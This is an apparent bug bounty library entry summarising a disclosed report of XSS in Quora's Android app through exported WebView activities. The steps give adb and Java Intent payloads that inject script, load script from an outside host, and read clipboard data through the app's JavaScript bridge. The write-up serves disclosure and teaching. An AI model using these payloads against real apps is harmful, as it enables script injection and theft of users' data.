# [Android] XSS via start ContentActivity

Quora Android exported ContentActivity/ModalContentActivity/ActionBarContentActivity accept an `html` intent extra rendered in a WebView, letting any app inject JS into www.quora.com context.

- Payout: hidden
- Severity: low
- Program: Quora
- Found by: bobrov
- Disclosed: 2017-04-05
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/189793
- Library page: https://bugbountylibrary.com/r/h1%3A189793
- Tags: area:mobile domain:mobile impact:data-leak impact:rce kind:bounty platform:hackerone sev:low tech:android technique:source-review vuln:xss

**Target:** Android exported WebView activities (ContentActivity, ModalContentActivity, ActionBarContentActivity)
**Root cause:** The activities are exported and take an `html` intent extra that is loaded into a WebView bound to www.quora.com without sanitization, so any installed app can inject arbitrary markup/script.
**Steps:**
1. From adb shell or another app, target `com.quora.android/com.quora.android.ActionBarContentActivity` (also ContentActivity, ModalContentActivity).
2. Pass extras `url` and `html`, e.g. `-e url 'http://test/test' -e html 'XSS<script>alert(123)</script>'`.
3. Script executes in www.quora.com origin; load external script with `-e html '<script src=//blackfan.ru></script>'`.
4. Access JSBridge: `-e html '<script>alert(QuoraAndroid.getClipboardData());</script>'`.
5. Equivalent from another app: `Intent i = new Intent(); i.setComponent(new ComponentName("com.quora.android","com.quora.android.ActionBarContentActivity")); i.putExtra("url","http://test/test"); i.putExtra("html","XSS PoC <script>alert(123)</script>"); startActivity(i);`
**How found:** Researcher inspected exported activities in the Quora Android app and noticed the `html` intent extra is rendered directly in a WebView, then tested injection via adb and a crafted Intent.
**Exploitation:** Any installed malicious app (no permissions needed) launches the exported activity with a crafted `html` extra; the WebView renders it under the quora.com origin, giving script access to the QuoraAndroid JSBridge (e.g. ClipboardData) and, on Android <= 4.2, potential RCE via addJavascriptInterface.
**Escalation:** Chained WebView XSS with the QuoraAndroid JSBridge to read clipboard data; on old Android <= 4.2 the JS bridge enables RCE.
**Insight:** Enumerate exported activities in Android apps and look for intent extras like `html`/`url` that feed a WebView; a WebView loading attacker-controlled HTML under a trusted origin also exposes any addJavascriptInterface bridge.